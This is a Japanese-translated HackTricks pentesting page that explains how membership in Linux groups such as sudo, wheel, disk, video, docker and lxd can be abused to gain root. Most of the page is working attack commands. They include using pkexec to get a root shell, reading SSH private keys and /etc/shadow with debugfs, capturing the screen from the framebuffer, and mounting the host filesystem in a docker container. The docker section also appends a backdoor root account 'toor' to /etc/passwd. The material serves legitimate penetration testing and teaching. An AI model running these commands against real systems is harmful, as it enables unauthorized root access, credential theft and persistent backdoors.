hacktricks/linux-hardening/privilege-escalation/interesting-groups-linux-pe
2023-07-07 23:42:27 +00:00
..
lxd-privilege-escalation.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated to Japanese 2023-07-07 23:42:27 +00:00

インタレスティンググループ - Linux Privesc

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sudo/Admin グループ

PE - メソッド1

時々デフォルトで(または一部のソフトウェアが必要とするために)/etc/sudoersファイルの中にこれらの行のいくつかを見つけることができます:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

これは、sudoまたはadminグループに所属するユーザーはsudoとして何でも実行できることを意味します。

もし状況がそうであるなら、rootになるためには単に以下を実行するだけです:

sudo su

PE - メソッド2

すべてのsuidバイナリを見つけ、バイナリPkexecがあるかどうかを確認します:

find / -perm -4000 2>/dev/null

もし、バイナリファイル pkexec が SUID バイナリ であり、あなたが sudo もしくは admin グループに所属している場合、おそらく pkexec を使用してバイナリファイルを sudo として実行することができます。
これは通常、polkit ポリシー内のグループです。このポリシーは、どのグループが pkexec を使用できるかを識別します。次のコマンドで確認してください。

cat /etc/polkit-1/localauthority.conf.d/*

以下では、どのグループがpkexecを実行することが許可されているか、およびいくつかのLinuxディストリビューションではデフォルトでsudoadminのグループが表示されることがわかります。

rootになるためには、次のコマンドを実行します:

pkexec "/bin/sh" #You will be prompted for your user password

もしpkexecを実行しようとして、以下のエラーが表示された場合:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

権限がないわけではなく、GUIなしで接続されていないためです。この問題の回避策はこちらにあります:https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-3353509032つの異なるsshセッションが必要です:

{% code title="session1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

{% code title="session2" %}

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Wheelグループ

時々デフォルトで/etc/sudoersファイルの中にこの行が見つかることがあります:

%wheel	ALL=(ALL:ALL) ALL

これは、wheelグループに所属するユーザーはsudoとして何でも実行できることを意味します。

もし状況がそうであるなら、rootになるためには単に以下を実行するだけです:

sudo su

Shadowグループ

shadowグループのユーザーは、/etc/shadowファイルを読み取ることができます。

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

ディスクグループ

この特権は、マシン内のすべてのデータにアクセスできるため、ほぼルートアクセスと同等です。

ファイル:/dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

注意してください、debugfsを使用するとファイルを書き込むこともできます。例えば、/tmp/asd1.txt/tmp/asd2.txtにコピーするには、次のようにします:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

しかし、rootが所有するファイル/etc/shadow/etc/passwdなど)を書き込もうとすると、「Permission denied」のエラーが発生します。

Videoグループ

コマンドwを使用すると、システムにログインしているユーザーを見つけることができ、以下のような出力が表示されます:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1は、ユーザーyossiが物理的にマシンの端末にログインしていることを意味します。

videoグループは、画面出力を表示する権限を持っています。基本的には画面を観察することができます。これを行うためには、現在の画面のイメージを生データで取得し、画面が使用している解像度を取得する必要があります。画面データは/dev/fb0に保存され、この画面の解像度は/sys/class/graphics/fb0/virtual_sizeで見つけることができます。

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Rawイメージ開くには、GIMPを使用し、**screen.raw **ファイルを選択し、ファイルタイプとしてRawイメージデータを選択します:

次に、画面で使用されている幅と高さを変更し、さまざまな画像タイプを確認します(画面をより良く表示するものを選択します):

ルートグループ

デフォルトでは、ルートグループのメンバーは、特権をエスカレートするために使用できる一部のサービスの設定ファイルやライブラリファイルなど、いくつかの興味深いもの変更することができるようです...

ルートメンバーが変更できるファイルを確認してください:

find / -group root -perm -g=w 2>/dev/null

Dockerグループ

インスタンスのボリュームにホストマシンのルートファイルシステムをマウントすることができます。そのため、インスタンスが起動するとすぐにそのボリュームにchrootがロードされます。これにより、実質的にマシン上でroot権限を取得することができます。

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

最後に、前述のいずれの提案も気に入らない場合や、何らかの理由で機能しない場合docker apiファイアウォールなど、常に特権コンテナを実行して脱出することができます。詳細はこちらを参照してください:

{% content-ref url="../docker-security/" %} docker-security {% endcontent-ref %}

もしdockerソケットに書き込み権限がある場合は、この記事を読んでdockerソケットを悪用して特権をエスカレーションする方法を参照してください

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

lxc/lxdグループ

{% content-ref url="./" %} . {% endcontent-ref %}

Admグループ

通常、admグループのメンバーは、_/var/log/_にあるログファイルを読み取る権限を持っています。したがって、このグループのユーザーを侵害した場合は、ログを確認する必要があります

Authグループ

OpenBSDでは、authグループは通常、使用されている場合に_/etc/skey/var/db/yubikey_のフォルダに書き込むことができます。これらの権限は、次のエクスプロイトを使用して特権をエスカレーションするために悪用される可能性がありますhttps://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥